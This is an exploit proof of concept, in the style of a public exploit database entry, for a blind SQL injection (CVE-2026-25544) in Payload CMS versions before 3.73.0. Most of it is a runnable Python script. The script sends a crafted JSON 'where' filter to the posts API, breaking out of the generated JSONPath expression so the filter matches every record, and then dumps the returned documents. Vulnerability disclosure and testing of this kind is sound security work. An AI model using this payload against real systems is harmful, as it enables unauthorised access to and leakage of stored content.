Payload CMS 3.72.0 SQL Injection

# Exploit Title: Payload CMS 3.72.0 - Blind SQL Injection 
    # Google Dork: N/A
    # Date: 2026-08-01
    # Exploit Author: cardosource
    # Vendor Homepage: https://payloadcms.com/
    # Software Link: https://github.com/payloadcms/payload
    # Version: < 3.73.0
    # Tested on: Docker - Node.js v24.18.1 (Recommended LTS) + Payload CMS 3.72.0 + PostgreSQL 15
    # CVE: CVE-2026-25544
    #
    # Description:
    # Payload CMS versions prior to 3.73.0 contain a Blind SQL Injection
    # vulnerability when processing `where` filters on JSON or RichText
    # fields using the Drizzle database adapters.
    #
    # This PoC demonstrates SQL injection through attacker-controlled JSON
    # filter input affecting generated JSONPath expressions.
    #
    
    
    import requests
    import json
    from typing import Dict, Any, Optional
    
    
    def fetch_posts() -> requests.Response:
        url: str = "http://localhost:3000/api/posts"
        filter_criteria: Dict[str, Dict[str, str]] = {
            "metadata.role": {
                "equals": 'x" || @ == @ || @ == "'
            }
        }
        
        params: Dict[str, Any] = {
            "where": json.dumps(filter_criteria),
            "limit": 100,
            "depth": 0,
        }
        return requests.get(url, params=params, timeout=15)
    
    def display_status(response: requests.Response) -> None:
        print("status:", response.status_code)
        print("content-type:", response.headers.get("content-type"))
        print()
    
    def display_content(response: requests.Response) -> None:
        try:
            data: Dict[str, Any] = response.json()
            print("totalDocs:", data.get("totalDocs"))
            print("docs:", len(data.get("docs", [])))
            print()
            print(json.dumps(data, indent=2, ensure_ascii=False)[:4000])
        except Exception as error:
            print("not JSON:", error)
            print(response.text[:1000])
    
    def main() -> None:
        response: requests.Response = fetch_posts()
        display_status(response)
        display_content(response)
    
    
    if __name__ == "__main__":
        main()